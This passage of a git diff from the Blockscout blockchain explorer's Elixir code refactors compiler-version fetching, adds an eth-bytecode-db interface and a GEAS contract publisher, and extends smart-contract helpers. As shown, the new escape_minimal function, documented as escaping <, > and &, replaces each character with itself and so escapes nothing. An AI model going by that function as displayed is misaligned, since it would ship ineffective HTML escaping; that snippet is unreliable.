query_without_search_path = + query + |> URI.decode_query() + |> Map.delete("search_path") + |> URI.encode_query() + + uri + |> Map.put(:query, query_without_search_path) + |> URI.to_string() + end end defp get_env_vars(vars, env_function) do @@ -44,4 +109,29 @@ defmodule Explorer.Repo.ConfigHelper do end end) end + + def network_path do + path = System.get_env("NETWORK_PATH", "/") + + path_from_env(path) + end + + @doc """ + Defines http port of the application + """ + @spec get_port() :: non_neg_integer() + def get_port do + case System.get_env("PORT") && Integer.parse(System.get_env("PORT")) do + {port, _} -> port + _ -> 4000 + end + end + + defp path_from_env(path_env_var) do + if String.ends_with?(path_env_var, "/") do + path_env_var + else + path_env_var <> "/" + end + end end diff --git a/apps/explorer/lib/explorer/schema.ex b/apps/explorer/lib/explorer/schema.ex index b59631550f56..ef88e49fa60d 100644 --- a/apps/explorer/lib/explorer/schema.ex +++ b/apps/explorer/lib/explorer/schema.ex @@ -3,7 +3,7 @@ defmodule Explorer.Schema do defmacro __using__(_opts) do quote do - use Ecto.Schema + use TypedEctoSchema import Ecto.{Changeset, Query} diff --git a/apps/explorer/lib/explorer/smart_contract/certified_smart_contract_cataloger.ex b/apps/explorer/lib/explorer/smart_contract/certified_smart_contract_cataloger.ex new file mode 100644 index 000000000000..0315dcf8eedf --- /dev/null +++ b/apps/explorer/lib/explorer/smart_contract/certified_smart_contract_cataloger.ex @@ -0,0 +1,29 @@ +defmodule Explorer.SmartContract.CertifiedSmartContractCataloger do + @moduledoc """ + Actualizes certified smart-contracts. + """ + + use GenServer, restart: :transient + + alias Explorer.Chain.SmartContract + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl GenServer + def init(args) do + send(self(), :fetch_certified_smart_contracts) + + {:ok, args} + end + + @impl GenServer + def handle_info(:fetch_certified_smart_contracts, state) do + certified_contracts_list = Application.get_env(:block_scout_web, :contract)[:certified_list] + + SmartContract.set_smart_contracts_certified_flag(certified_contracts_list) + + {:noreply, state} + end +end diff --git a/apps/explorer/lib/explorer/smart_contract/compiler_version.ex b/apps/explorer/lib/explorer/smart_contract/compiler_version.ex index 661628b3d43b..412c2eb1b752 100644 --- a/apps/explorer/lib/explorer/smart_contract/compiler_version.ex +++ b/apps/explorer/lib/explorer/smart_contract/compiler_version.ex @@ -3,7 +3,8 @@ defmodule Explorer.SmartContract.CompilerVersion do Adapter for fetching compiler versions from https://solc-bin.ethereum.org/bin/list.json. """ - alias Explorer.SmartContract.RustVerifierInterface + alias Explorer.{Helper, HttpClient} + alias Explorer.SmartContract.{RustVerifierInterface, StylusVerifierInterface} @unsupported_solc_versions ~w(0.1.1 0.1.2) @unsupported_vyper_versions ~w(v0.2.9 v0.2.10) @@ -11,51 +12,109 @@ defmodule Explorer.SmartContract.CompilerVersion do @doc """ Fetches a list of compilers from the Ethereum Solidity API. """ - @spec fetch_versions(:solc | :vyper) :: {atom, [map]} - def fetch_versions(compiler) do - case compiler do - :solc -> fetch_solc_versions() - :vyper -> fetch_vyper_versions() + @spec fetch_versions(:solc | :vyper | :zk | :stylus) :: {atom, [binary()]} + def fetch_versions(compiler) + + def fetch_versions(:solc) do + fetch_compiler_versions(&RustVerifierInterface.get_versions_list/0, :solc) + end + + def fetch_versions(:vyper) do + fetch_compiler_versions(&RustVerifierInterface.vyper_get_versions_list/0, :vyper) + end + + def fetch_versions(:zk) do + fetch_compiler_versions(&RustVerifierInterface.get_versions_list/0, :zk) + end + + def fetch_versions(:stylus) do + fetch_compiler_versions(&StylusVerifierInterface.get_versions_list/0, :stylus) + end + + @doc """ + Fetches the list of compiler versions for the given compiler. + + ## Parameters + + - compiler: The name of the compiler for which to fetch the version list. + + ## Returns + + - A list of available compiler versions. + + """ + @spec fetch_version_list(:solc | :vyper | :zk | :stylus) :: [binary()] + def fetch_version_list(compiler) do + case fetch_versions(compiler) do + {:ok, compiler_versions} -> + compiler_versions + + {:error, _} -> + [] + end + end + + defp fetch_compiler_versions(compiler_list_fn, :stylus = compiler_type) do + if StylusVerifierInterface.enabled?() do + fetch_compiler_versions_sc_verified_enabled(compiler_list_fn, compiler_type) + else + {:ok, []} + end + end + + defp fetch_compiler_versions(compiler_list_fn, :zk = compiler_type) do + if RustVerifierInterface.enabled?() do + fetch_compiler_versions_sc_verified_enabled(compiler_list_fn, compiler_type) + else + {:ok, []} end end - defp fetch_solc_versions do + defp fetch_compiler_versions(compiler_list_fn, compiler_type) do if RustVerifierInterface.enabled?() do - RustVerifierInterface.get_versions_list() + fetch_compiler_versions_sc_verified_enabled(compiler_list_fn, compiler_type) else headers = [{"Content-Type", "application/json"}] - case HTTPoison.get(source_url(:solc), headers) do + case HttpClient.get(source_url(compiler_type), headers) do {:ok, %{status_code: 200, body: body}} -> - {:ok, format_data(body, :solc)} + {:ok, format_data(body, compiler_type)} {:ok, %{status_code: _status_code, body: body}} -> - {:error, decode_json(body)["error"]} + {:error, Helper.decode_json(body)["error"]} - {:error, %{reason: reason}} -> + {:error, reason} -> {:error, reason} end end end - defp fetch_vyper_versions do - headers = [{"Content-Type", "application/json"}] + defp fetch_compiler_versions_sc_verified_enabled(compiler_list_fn, compiler_type) do + if Application.get_env(:explorer, :chain_type) == :zksync do + # todo: refactor opportunity, currently, Blockscout 2 identical requests to microservice in order to get + # Solc and Zk compiler versions + case compiler_list_fn.() do + {:ok, {solc_compilers, zk_compilers}} -> + choose_compiler(compiler_type, %{:solc_compilers => solc_compilers, :zk_compilers => zk_compilers}) - case HTTPoison.get(source_url(:vyper), headers) do - {:ok, %{status_code: 200, body: body}} -> - {:ok, format_data(body, :vyper)} - - {:ok, %{status_code: _status_code, body: body}} -> - {:error, decode_json(body)["error"]} + _ -> + {:error, "Verifier microservice is unavailable"} + end + else + compiler_list_fn.() + end + end - {:error, %{reason: reason}} -> - {:error, reason} + defp choose_compiler(compiler_type, compilers) do + case compiler_type do + :solc -> {:ok, compilers.solc_compilers} + :zk -> {:ok, compilers.zk_compilers} end end @spec vyper_releases_url :: String.t() def vyper_releases_url do - "https://api.github.com/repos/vyperlang/vyper/releases" + "https://api.github.com/repos/vyperlang/vyper/releases?per_page=100" end defp format_data(json, compiler) do @@ -77,12 +136,12 @@ defmodule Explorer.SmartContract.CompilerVersion do |> Enum.sort(fn version1, version2 -> versions1 = String.split(version1, ".") versions2 = String.split(version2, ".") - major1 = versions1 |> Enum.at(0) |> parse_integer() - major2 = versions2 |> Enum.at(0) |> parse_integer() - minor1 = versions1 |> Enum.at(1) |> parse_integer() - minor2 = versions2 |> Enum.at(1) |> parse_integer() - patch1 = versions1 |> Enum.at(2) |> String.split("-") |> Enum.at(0) |> parse_integer() - patch2 = versions2 |> Enum.at(2) |> String.split("-") |> Enum.at(0) |> parse_integer() + major1 = versions1 |> Enum.at(0) |> Helper.parse_integer() + major2 = versions2 |> Enum.at(0) |> Helper.parse_integer() + minor1 = versions1 |> Enum.at(1) |> Helper.parse_integer() + minor2 = versions2 |> Enum.at(1) |> Helper.parse_integer() + patch1 = versions1 |> Enum.at(2) |> String.split("-") |> Enum.at(0) |> Helper.parse_integer() + patch2 = versions2 |> Enum.at(2) |> String.split("-") |> Enum.at(0) |> Helper.parse_integer() major1 > major2 || (major1 == major2 && minor1 > minor2) || (major1 == major2 && minor1 == minor2 && patch1 > patch2) @@ -92,13 +151,6 @@ defmodule Explorer.SmartContract.CompilerVersion do ["latest" | versions] end - defp parse_integer(string) do - case Integer.parse(string) do - {number, ""} -> number - _ -> nil - end - end - @spec remove_unsupported_versions([String.t()], :solc | :vyper) :: [String.t()] defp remove_unsupported_versions(builds, compiler) do case compiler do @@ -132,10 +184,6 @@ defmodule Explorer.SmartContract.CompilerVersion do end end - defp decode_json(json) do - Jason.decode!(json) - end - @spec source_url(:solc | :vyper) :: String.t() defp source_url(compiler) do case compiler do @@ -150,56 +198,56 @@ defmodule Explorer.SmartContract.CompilerVersion do def get_strict_compiler_version(compiler, compiler_version) do case compiler do - :solc -> - if compiler_version == "latest" do - compiler_versions = get_compiler_versions(:solc) - - if Enum.count(compiler_versions) > 1 do - latest_stable_version = - compiler_versions - |> Enum.drop(1) - |> Enum.reduce_while("", fn version, acc -> - if String.contains?(version, "-nightly") do - {:cont, acc} - else - {:halt, version} - end - end) - - latest_stable_version - else - "latest" - end - else - compiler_version - end + :solc -> get_solc_latest_stable_version(compiler_version) + :vyper -> get_vyper_latest_stable_version(compiler_version) + end + end - :vyper -> - if compiler_version == "latest" do - compiler_versions = get_compiler_versions(:vyper) - - if Enum.count(compiler_versions) > 1 do - latest_stable_version = - compiler_versions - |> Enum.at(1) - - latest_stable_version - else - "latest" - end - else - compiler_version - end + def get_solc_latest_stable_version(compiler_version) do + if compiler_version == "latest" do + get_solc_latest_stable_version_inner() + else + compiler_version end end - defp get_compiler_versions(compiler) do - case fetch_versions(compiler) do - {:ok, compiler_versions} -> - compiler_versions + defp get_solc_latest_stable_version_inner do + compiler_versions = fetch_version_list(:solc) - {:error, _} -> - [] + if Enum.count(compiler_versions) > 1 do + compiler_versions + |> Enum.drop(1) + |> Enum.reduce_while("", fn version, acc -> + filter_nightly_version(acc, version) + end) + else + "latest" + end + end + + defp filter_nightly_version(acc, version) do + if String.contains?(version, "-nightly") do + {:cont, acc} + else + {:halt, version} + end + end + + def get_vyper_latest_stable_version(compiler_version) do + if compiler_version == "latest" do + compiler_versions = fetch_version_list(:vyper) + + if Enum.count(compiler_versions) > 1 do + latest_stable_version = + compiler_versions + |> Enum.at(1) + + latest_stable_version + else + "latest" + end + else + compiler_version end end end diff --git a/apps/explorer/lib/explorer/smart_contract/eth_bytecode_db_interface.ex b/apps/explorer/lib/explorer/smart_contract/eth_bytecode_db_interface.ex new file mode 100644 index 000000000000..ace02a4d746e --- /dev/null +++ b/apps/explorer/lib/explorer/smart_contract/eth_bytecode_db_interface.ex @@ -0,0 +1,135 @@ +defmodule Explorer.SmartContract.EthBytecodeDBInterface do + @moduledoc """ + Adapter for interaction with https://github.com/blockscout/blockscout-rs/tree/main/eth-bytecode-db + """ + + def search_contract(%{"bytecode" => _, "bytecodeType" => _} = body, address_hash) do + if chain_id = Application.get_env(:block_scout_web, :chain_id) do + http_post_request( + bytecode_search_all_sources_url(), + Map.merge(body, %{ + "chain" => to_string(chain_id), + "address" => to_string(address_hash) + }), + false + ) + else + http_post_request(bytecode_search_sources_url(), body, false) + end + end + + @doc """ + Function to search smart contracts in eth-bytecode-db, similar to `search_contract/2` but + this function uses only `/api/v2/bytecodes/sources:search` method + """ + @spec search_contract_in_eth_bytecode_internal_db(map(), binary(), keyword()) :: {:error, any} | {:ok, any} + def search_contract_in_eth_bytecode_internal_db( + %{"bytecode" => _, "bytecodeType" => _} = body, + address_hash_string, + options + ) do + chain_id = Application.get_env(:block_scout_web, :chain_id) + + {url, body} = + cond do + Keyword.get(options, :only_verifier_alliance?, false) -> + {bytecode_search_alliance_sources_url(), + %{ + "chain" => to_string(chain_id), + "address" => address_hash_string + }} + + Keyword.get(options, :only_eth_bytecode_db?, false) -> + {bytecode_search_sources_url(), body} + + true -> + {bytecode_search_all_sources_url(), + Map.merge(body, %{ + "chain" => to_string(chain_id), + "address" => address_hash_string, + "onlyLocal" => true + })} + end + + http_post_request(url, body, false, options) + end + + def process_verifier_response( + %{ + "allianceSources" => [%{"matchType" => "PARTIAL"} | _], + "ethBytecodeDbSources" => _, + "sourcifySources" => [%{"matchType" => "FULL"} = src | _] + }, + _ + ) do + {:ok, Map.put(src, "sourcify?", true)} + end + + def process_verifier_response( + %{ + "allianceSources" => [%{"matchType" => "PARTIAL"} | _], + "ethBytecodeDbSources" => [%{"matchType" => "FULL"} = src | _], + "sourcifySources" => _ + }, + _ + ) do + {:ok, src} + end + + def process_verifier_response(%{"allianceSources" => [src | _]}, _) do + {:ok, Map.put(src, "verifier_alliance?", true)} + end + + def process_verifier_response(%{"sourcifySources" => [src | _]}, _) do + {:ok, Map.put(src, "sourcify?", true)} + end + + def process_verifier_response(%{"ethBytecodeDbSources" => [src | _]}, _) do + {:ok, src} + end + + def process_verifier_response(%{"ethBytecodeDbSources" => [], "sourcifySources" => [], "allianceSources" => []}, _) do + {:error, :no_matched_sources} + end + + def process_verifier_response(%{"sources" => [src | _]}, options) do + if Keyword.get(options, :only_verifier_alliance?, false) do + {:ok, Map.put(src, "verifier_alliance?", true)} + else + {:ok, src} + end + end + + def process_verifier_response(%{"sources" => []}, _) do + {:ok, nil} + end + + def bytecode_search_sources_url do + # workaround because of https://github.com/PSPDFKit-labs/bypass/issues/122 + if Mix.env() == :test do + "#{base_api_url()}" <> "/bytecodes/sources_search" + else + "#{base_api_url()}" <> "/bytecodes/sources:search" + end + end + + def bytecode_search_all_sources_url do + # workaround because of https://github.com/PSPDFKit-labs/bypass/issues/122 + if Mix.env() == :test do + "#{base_api_url()}" <> "/bytecodes/sources_search_all" + else + "#{base_api_url()}" <> "/bytecodes/sources:search-all" + end + end + + def bytecode_search_alliance_sources_url do + # workaround because of https://github.com/PSPDFKit-labs/bypass/issues/122 + if Mix.env() == :test do + "#{base_api_url()}" <> "/bytecodes/sources_search_alliance" + else + "#{base_api_url()}" <> "/bytecodes/sources:search-alliance" + end + end + + use Explorer.SmartContract.RustVerifierInterfaceBehaviour +end diff --git a/apps/explorer/lib/explorer/smart_contract/geas/publisher.ex b/apps/explorer/lib/explorer/smart_contract/geas/publisher.ex new file mode 100644 index 000000000000..c65c7f32c2ed --- /dev/null +++ b/apps/explorer/lib/explorer/smart_contract/geas/publisher.ex @@ -0,0 +1,172 @@ +defmodule Explorer.SmartContract.Geas.Publisher do + @moduledoc """ + Module responsible for verifying and publishing GEAS smart contracts. + + The verification process includes: + 1. Processing verification response from the Ethereum Bytecode DB + 2. Extracting contract source files and ABI + 3. Creating or updating the smart contract record in the database + 4. Handling verification failures by creating invalid changesets with error messages + """ + + require Logger + + alias Explorer.Chain.SmartContract + alias Explorer.SmartContract.Helper + alias Explorer.SmartContract.Solidity.Publisher, as: SolidityPublisher + + @doc """ + Processes the verification response from the Ethereum Bytecode DB for GEAS contracts. + + ## Parameters + - `source`: Map containing verification response with GEAS-specific fields: + - `"abi"`: Contract ABI as JSON string + - `"compilerVersion"`: Version of the GEAS compiler used + - `"constructorArguments"`: Constructor arguments (can be null) + - `"contractName"`: Name of the contract + - `"fileName"`: Main source file name (typically .eas extension) + - `"sourceFiles"`: Map of file paths to source code contents + - `"compilerSettings"`: Compiler settings as JSON string + - `"matchType"`: Type of bytecode match ("FULL" or "PARTIAL") + - `address_hash`: The contract's address hash as binary or `t:Explorer.Chain.Hash.t/0` + - `initial_params`: Initial parameters from the verification request + - `save_file_path?`: Boolean indicating whether to save the file path + - `is_standard_json?`: Boolean indicating if this was a standard JSON verification + - `automatically_verified?`: Boolean indicating if this was automatically verified + + ## Returns + - `{:ok, smart_contract}` if verification and database storage succeed + - `{:error, changeset}` if verification fails or there are validation errors + """ + @spec process_rust_verifier_response( + map(), + binary() | Explorer.Chain.Hash.t(), + map(), + boolean(), + boolean(), + boolean() + ) :: + {:ok, Explorer.Chain.SmartContract.t()} | {:error, Ecto.Changeset.t()} + def process_rust_verifier_response( + %{ + "abi" => abi_string, + "compilerVersion" => compiler_version, + "constructorArguments" => constructor_arguments, + "contractName" => contract_name, + "fileName" => file_name, + "sourceFiles" => sources, + "compilerSettings" => compiler_settings_string, + "matchType" => match_type + } = source, + address_hash, + initial_params, + save_file_path?, + _is_standard_json?, + automatically_verified? \\ false + ) do + secondary_sources = + for {file, source_code} <- sources, + file != file_name, + do: %{ + "file_name" => file, + "contract_source_code" => source_code, + "address_hash" => address_hash + } + + %{^file_name => contract_source_code} = sources + + compiler_settings = Jason.decode!(compiler_settings_string) + + prepared_params = + %{} + |> Map.put("compiler_version", compiler_version) + |> Map.put("constructor_arguments", constructor_arguments) + |> Map.put("contract_source_code", contract_source_code) + |> Map.put("name", contract_name) + |> Map.put("file_path", if(save_file_path?, do: file_name)) + |> Map.put("secondary_sources", secondary_sources) + |> Map.put("partially_verified", match_type == "PARTIAL") + |> Map.put("verified_via_eth_bytecode_db", automatically_verified?) + |> Map.put("verified_via_verifier_alliance", source["verifier_alliance?"] || false) + |> Map.put("compiler_settings", compiler_settings) + |> Map.put("license_type", initial_params["license_type"]) + |> Map.put("is_blueprint", source["isBlueprint"] || false) + + publish_smart_contract(address_hash, prepared_params, Jason.decode!(abi_string || "null"), save_file_path?) + end + + @doc """ + Stores information about a verified GEAS smart contract in the database. + + ## Parameters + - `address_hash`: The contract's address hash as binary or `t:Explorer.Chain.Hash.t/0` + - `params`: Map containing contract details + - `abi`: Contract's ABI (Application Binary Interface) + - `verification_with_files?`: Boolean indicating if verification used source files + + ## Returns + - `{:ok, smart_contract}` if publishing succeeds + - `{:error, changeset}` if there are validation errors + - `{:error, message}` if the database operation fails + """ + @spec publish_smart_contract(binary() | Explorer.Chain.Hash.t(), map(), map(), boolean()) :: + {:ok, Explorer.Chain.SmartContract.t()} | {:error, Ecto.Changeset.t() | String.t()} + def publish_smart_contract(address_hash, params, abi, verification_with_files?) do + attrs = address_hash |> attributes(params, abi) + + ok_or_error = + SmartContract.create_or_update_smart_contract( + address_hash, + attrs, + verification_with_files? + ) + + case ok_or_error do + {:ok, _smart_contract} -> + Logger.info("GEAS smart-contract #{address_hash} successfully published") + + {:error, error} -> + Logger.error("GEAS smart-contract #{address_hash} failed to publish: #{inspect(error)}") + end + + ok_or_error + end + + # Private function to build contract attributes for database storage + defp attributes(address_hash, params, abi) do + constructor_arguments = params["constructor_arguments"] + compiler_settings = params["compiler_settings"] + + clean_constructor_arguments = SolidityPublisher.clear_constructor_arguments(constructor_arguments) + + clean_compiler_settings = + if compiler_settings in ["", nil, %{}] do + nil + else + compiler_settings + end + + %{ + address_hash: address_hash, + name: params["name"], + compiler_version: params["compiler_version"], + evm_version: nil, + optimization_runs: nil, + optimization: false, + contract_source_code: params["contract_source_code"], + constructor_arguments: clean_constructor_arguments, + external_libraries: [], + secondary_sources: params["secondary_sources"], + abi: abi, + verified_via_sourcify: false, + verified_via_eth_bytecode_db: params["verified_via_eth_bytecode_db"] || false, + verified_via_verifier_alliance: params["verified_via_verifier_alliance"] || false, + partially_verified: params["partially_verified"] || false, + file_path: params["file_path"], + compiler_settings: clean_compiler_settings, + license_type: Helper.prepare_license_type(params["license_type"]) || :none, + is_blueprint: params["is_blueprint"] || false, + language: :geas + } + end +end diff --git a/apps/explorer/lib/explorer/smart_contract/helper.ex b/apps/explorer/lib/explorer/smart_contract/helper.ex index 89a58f0cc83d..9b3231443793 100644 --- a/apps/explorer/lib/explorer/smart_contract/helper.ex +++ b/apps/explorer/lib/explorer/smart_contract/helper.ex @@ -3,10 +3,17 @@ defmodule Explorer.SmartContract.Helper do SmartContract helper functions """ - alias Explorer.Chain + alias Explorer.{Chain, Helper} + alias Explorer.Chain.{Address, Hash, SmartContract} + alias Explorer.Chain.SmartContract.Proxy + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + alias Explorer.Helper, as: ExplorerHelper + alias Explorer.SmartContract.{Reader, Writer} alias Phoenix.HTML - def queriable_method?(method) do + @api_true [api?: true] + + def queryable_method?(method) do method["constant"] || method["stateMutability"] == "view" || method["stateMutability"] == "pure" end @@ -17,17 +24,16 @@ defmodule Explorer.SmartContract.Helper do def error?(function), do: function["type"] == "error" @doc """ - Checks whether the function which is not queriable can be consider as read function or not. + Checks whether the function which is not queryable can be considered as read + function or not. """ @spec read_with_wallet_method?(%{}) :: true | false def read_with_wallet_method?(function), do: - !error?(function) && !event?(function) && !constructor?(function) && nonpayable?(function) && - !empty_outputs?(function) - - def empty_inputs?(function), do: function["inputs"] == [] + !error?(function) && !event?(function) && !constructor?(function) && + !empty_outputs?(function) && !Writer.write_function?(function) - def empty_outputs?(function), do: function["outputs"] == [] + def empty_outputs?(function), do: is_nil(function["outputs"]) || function["outputs"] == [] def payable?(function), do: function["stateMutability"] == "payable" || function["payable"] @@ -43,10 +49,7 @@ defmodule Explorer.SmartContract.Helper do def add_contract_code_md5(%{address_hash: address_hash_string} = attrs) when is_binary(address_hash_string) do with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), {:ok, address} <- Chain.hash_to_address(address_hash) do - contract_code_md5 = contract_code_md5(address.contract_code.bytes) - - attrs - |> Map.put_new(:contract_code_md5, contract_code_md5) + attrs_extend_with_contract_code_md5(attrs, address) else _ -> attrs end @@ -55,10 +58,7 @@ defmodule Explorer.SmartContract.Helper do def add_contract_code_md5(%{address_hash: address_hash} = attrs) do case Chain.hash_to_address(address_hash) do {:ok, address} -> - contract_code_md5 = contract_code_md5(address.contract_code.bytes) - - attrs - |> Map.put_new(:contract_code_md5, contract_code_md5) + attrs_extend_with_contract_code_md5(attrs, address) _ -> attrs @@ -73,6 +73,17 @@ defmodule Explorer.SmartContract.Helper do |> Base.encode16(case: :lower) end + defp attrs_extend_with_contract_code_md5(attrs, address) do + if address.contract_code do + contract_code_md5 = contract_code_md5(address.contract_code.bytes) + + attrs + |> Map.put_new(:contract_code_md5, contract_code_md5) + else + attrs + end + end + def sanitize_input(nil), do: nil def sanitize_input(input) do @@ -82,6 +93,20 @@ defmodule Explorer.SmartContract.Helper do |> String.trim() end + @doc """ + Escapes only <, > and & symbols + """ + @spec escape_minimal(any()) :: any() + def escape_minimal(input) when is_binary(input) do + input + # should always be the first to replace + |> String.replace("&", "&") + |> String.replace("<", "<") + |> String.replace(">", ">") + end + + def escape_minimal(other), do: other + def sol_file?(filename) do case List.last(String.split(String.downcase(filename), ".")) do "sol" -> @@ -101,4 +126,204 @@ defmodule Explorer.SmartContract.Helper do false end end + + @doc """ + Prepares the bytecode for a microservice by processing the given body, creation input, and deployed bytecode. + + ## Parameters + + - body: The body of the request or data to be processed. + - creation_input: The input data used during the creation of the smart contract. + - deployed_bytecode: The bytecode of the deployed smart contract. + + ## Returns + + The processed bytecode ready for the microservice. + """ + @spec prepare_bytecode_for_microservice(map(), binary() | nil, binary() | nil) :: map() + def prepare_bytecode_for_microservice(body, creation_input, deployed_bytecode) + + def prepare_bytecode_for_microservice(body, creation_input, deployed_bytecode) when is_nil(creation_input) do + if Application.get_env(:explorer, :chain_type) == :zksync do + body + |> Map.put("code", deployed_bytecode) + else + body + |> Map.put("bytecodeType", "DEPLOYED_BYTECODE") + |> Map.put("bytecode", deployed_bytecode) + end + end + + def prepare_bytecode_for_microservice(body, creation_bytecode, _deployed_bytecode) do + body + |> Map.put("bytecodeType", "CREATION_INPUT") + |> Map.put("bytecode", creation_bytecode) + end + + def cast_libraries(map) do + map |> Map.values() |> List.first() |> cast_libraries(map) + end + + def cast_libraries(value, map) when is_map(value), + do: + map + |> Map.values() + |> Enum.reduce(%{}, fn map, acc -> Map.merge(acc, map) end) + + def cast_libraries(_value, map), do: map + + def contract_creation_input(address_hash) do + case Chain.smart_contract_creation_transaction_bytecode(address_hash) do + %{init: init, created_contract_code: _created_contract_code} -> + init + + _ -> + nil + end + end + + @doc """ + Returns a tuple: `{creation_bytecode, deployed_bytecode, metadata}` where `metadata` is a map: + { + "blockNumber": "string", + "chainId": "string", + "contractAddress": "string", + "creationCode": "string", + "deployer": "string", + "runtimeCode": "string", + "transactionHash": "string", + "transactionIndex": "string" + } + + Metadata will be sent to a verifier microservice + """ + @spec fetch_data_for_verification(binary() | Hash.t()) :: {binary() | nil, binary(), map()} + def fetch_data_for_verification(address_hash) do + deployed_bytecode = Chain.smart_contract_bytecode(address_hash) + + metadata = %{ + "contractAddress" => to_string(address_hash), + "runtimeCode" => to_string(deployed_bytecode), + "chainId" => Application.get_env(:block_scout_web, :chain_id) + } + + if Application.get_env(:explorer, :chain_type) == :zksync do + {nil, deployed_bytecode, metadata} + else + case SmartContract.creation_transaction_with_bytecode(address_hash) do + %{init: init, transaction: transaction} -> + {init, deployed_bytecode, transaction |> transaction_to_metadata(init) |> Map.merge(metadata)} + + %{init: init, internal_transaction: internal_transaction} -> + {init, deployed_bytecode, + internal_transaction |> internal_transaction_to_metadata(init) |> Map.merge(metadata)} + + _ -> + {nil, deployed_bytecode, metadata} + end + end + end + + defp transaction_to_metadata(transaction, init) do + %{ + "blockNumber" => to_string(transaction.block_number), + "transactionHash" => to_string(transaction.hash), + "transactionIndex" => to_string(transaction.index), + "deployer" => to_string(transaction.from_address_hash), + "creationCode" => to_string(init) + } + end + + defp internal_transaction_to_metadata(internal_transaction, init) do + %{ + "blockNumber" => to_string(internal_transaction.block_number), + "transactionHash" => to_string(internal_transaction.transaction_hash), + "transactionIndex" => to_string(internal_transaction.transaction_index), + "deployer" => to_string(internal_transaction.from_address_hash), + "creationCode" => to_string(init) + } + end + + @doc """ + Prepare license type for verification. + """ + @spec prepare_license_type(any()) :: atom() | integer() | binary() | nil + def prepare_license_type(atom_or_integer) when is_atom(atom_or_integer) or is_integer(atom_or_integer), + do: atom_or_integer + + def prepare_license_type(binary) when is_binary(binary), do: Helper.parse_integer(binary) || binary + def prepare_license_type(_), do: nil + + @doc """ + Pre-fetches implementation for unverified smart-contract or verified proxy smart-contract + """ + @spec pre_fetch_implementations(Address.t()) :: Implementation.t() | nil + def pre_fetch_implementations(address) do + implementation = + with {:verified_smart_contract, %SmartContract{}} <- {:verified_smart_contract, address.smart_contract}, + {:proxy?, true} <- {:proxy?, address_is_proxy?(address, @api_true)}, + # we should fetch implementations only for original smart-contract and exclude fetching implementations of bytecode twin + {:bytecode_twin?, false} <- {:bytecode_twin?, address.hash != address.smart_contract.address_hash} do + Implementation.get_implementation(address.smart_contract, @api_true) + else + {:bytecode_twin?, true} -> + nil + + {:verified_smart_contract, _} -> + if Address.smart_contract?(address) do + smart_contract = %SmartContract{ + address_hash: address.hash + } + + Implementation.get_implementation(smart_contract, @api_true) + end + + {:proxy?, false} -> + nil + end + + implementation + |> Chain.select_repo(@api_true).preload(Implementation.proxy_implementations_addresses_association()) + end + + @doc """ + Checks if given address is proxy smart contract + """ + @spec address_is_proxy?(Address.t(), list()) :: boolean() + def address_is_proxy?(address, options \\ []) + + def address_is_proxy?(%Address{smart_contract: %SmartContract{} = smart_contract}, options) do + Proxy.proxy_contract?(smart_contract, options) + end + + def address_is_proxy?(%Address{smart_contract: _}, _), do: false + + @doc """ + Gets binary hash string from contract's getter. + """ + @spec get_binary_string_from_contract_getter(binary(), binary(), SmartContract.abi(), list()) :: + binary() | [binary()] | nil | :error + def get_binary_string_from_contract_getter(signature, address_hash_string, abi, params \\ []) do + binary_hash = + case Reader.query_contract( + address_hash_string, + abi, + %{ + "#{signature}" => params + }, + false + ) do + %{^signature => {:ok, [result]}} -> + result + + %{^signature => {:error, _error}} -> + :error + + _ -> + nil + end + + # todo: Dangerous, fix with https://github.com/blockscout/blockscout/issues/12544 + ExplorerHelper.add_0x_prefix(binary_hash) + end end diff --git a/apps/explorer/lib/explorer/smart_contract/reader.ex b/apps/explorer/lib/explorer/smart_contract/reader.ex index b9f4410a1b56..0b333454d356 100644 --- a/apps/explorer/lib/explorer/smart_contract/reader.ex +++ b/apps/explorer/lib/explorer/smart_contract/reader.ex @@ -3,12 +3,12 @@ defmodule Explorer.SmartContract.Reader do Reads Smart Contract functions from the blockchain. For information on smart contract's Application Binary Interface (ABI), visit the - [wiki](https://github.com/ethereum/wiki/wiki/Ethereum-Contract-ABI). + [wiki](https://docs.soliditylang.org/en/develop/abi-spec.html). """ alias EthereumJSONRPC.{Contract, Encoder} - alias Explorer.Chain alias Explorer.Chain.{Hash, SmartContract} + alias Explorer.Chain.SmartContract.Proxy alias Explorer.SmartContract.Helper @typedoc """ @@ -32,6 +32,8 @@ defmodule Explorer.SmartContract.Reader do {:json_rpc_named_arguments, EthereumJSONRPC.json_rpc_named_arguments()} ] + @typep api? :: {:api?, true | false} + @doc """ Queries the contract functions on the blockchain and returns the call results. @@ -60,10 +62,17 @@ defmodule Explorer.SmartContract.Reader do ) # => %{"sum" => {:error, "Data overflow encoding int, data `abc` cannot fit in 256 bits"}} """ - @spec query_verified_contract(Hash.Address.t(), functions(), String.t() | nil, true | false, SmartContract.abi()) :: + @spec query_verified_contract( + Hash.Address.t(), + functions(), + String.t() | nil, + true | false, + SmartContract.abi(), + Keyword.t() + ) :: functions_results() - def query_verified_contract(address_hash, functions, from, leave_error_as_map, mabi) do - query_verified_contract_inner(address_hash, functions, mabi, from, leave_error_as_map) + def query_verified_contract(address_hash, functions, from, leave_error_as_map, mabi, options \\ []) do + query_verified_contract_inner(address_hash, functions, mabi, from, leave_error_as_map, options) end @spec query_verified_contract(Hash.Address.t(), functions(), true | false, SmartContract.abi() | nil) :: @@ -77,20 +86,24 @@ defmodule Explorer.SmartContract.Reader do functions(), SmartContract.abi() | nil, String.t() | nil, - true | false + true | false, + Keyword.t() ) :: functions_results() - defp query_verified_contract_inner(address_hash, functions, mabi, from, leave_error_as_map) do + defp query_verified_contract_inner(address_hash, functions, mabi, from, leave_error_as_map, options \\ []) do contract_address = Hash.to_string(address_hash) abi = prepare_abi(mabi, address_hash) - query_contract(contract_address, from, abi, functions, leave_error_as_map) + query_contract(contract_address, from, abi, functions, leave_error_as_map, options) end defp prepare_abi(nil, address_hash) do - address_hash - |> Chain.address_hash_to_smart_contract() + {smart_contract, _} = + address_hash + |> SmartContract.address_hash_to_smart_contract_with_bytecode_twin() + + smart_contract |> Map.get(:abi) end @@ -107,25 +120,16 @@ defmodule Explorer.SmartContract.Reader do * `:json_rpc_named_arguments` - Options to forward for calling the Ethereum JSON RPC. See `t:EthereumJSONRPC.json_rpc_named_arguments.t/0` for full list of options. """ - @spec query_contract( - String.t(), - term(), - functions(), - true | false - ) :: functions_results() - def query_contract(contract_address, abi, functions, leave_error_as_map) do - query_contract_inner(contract_address, abi, functions, nil, nil, leave_error_as_map) - end - 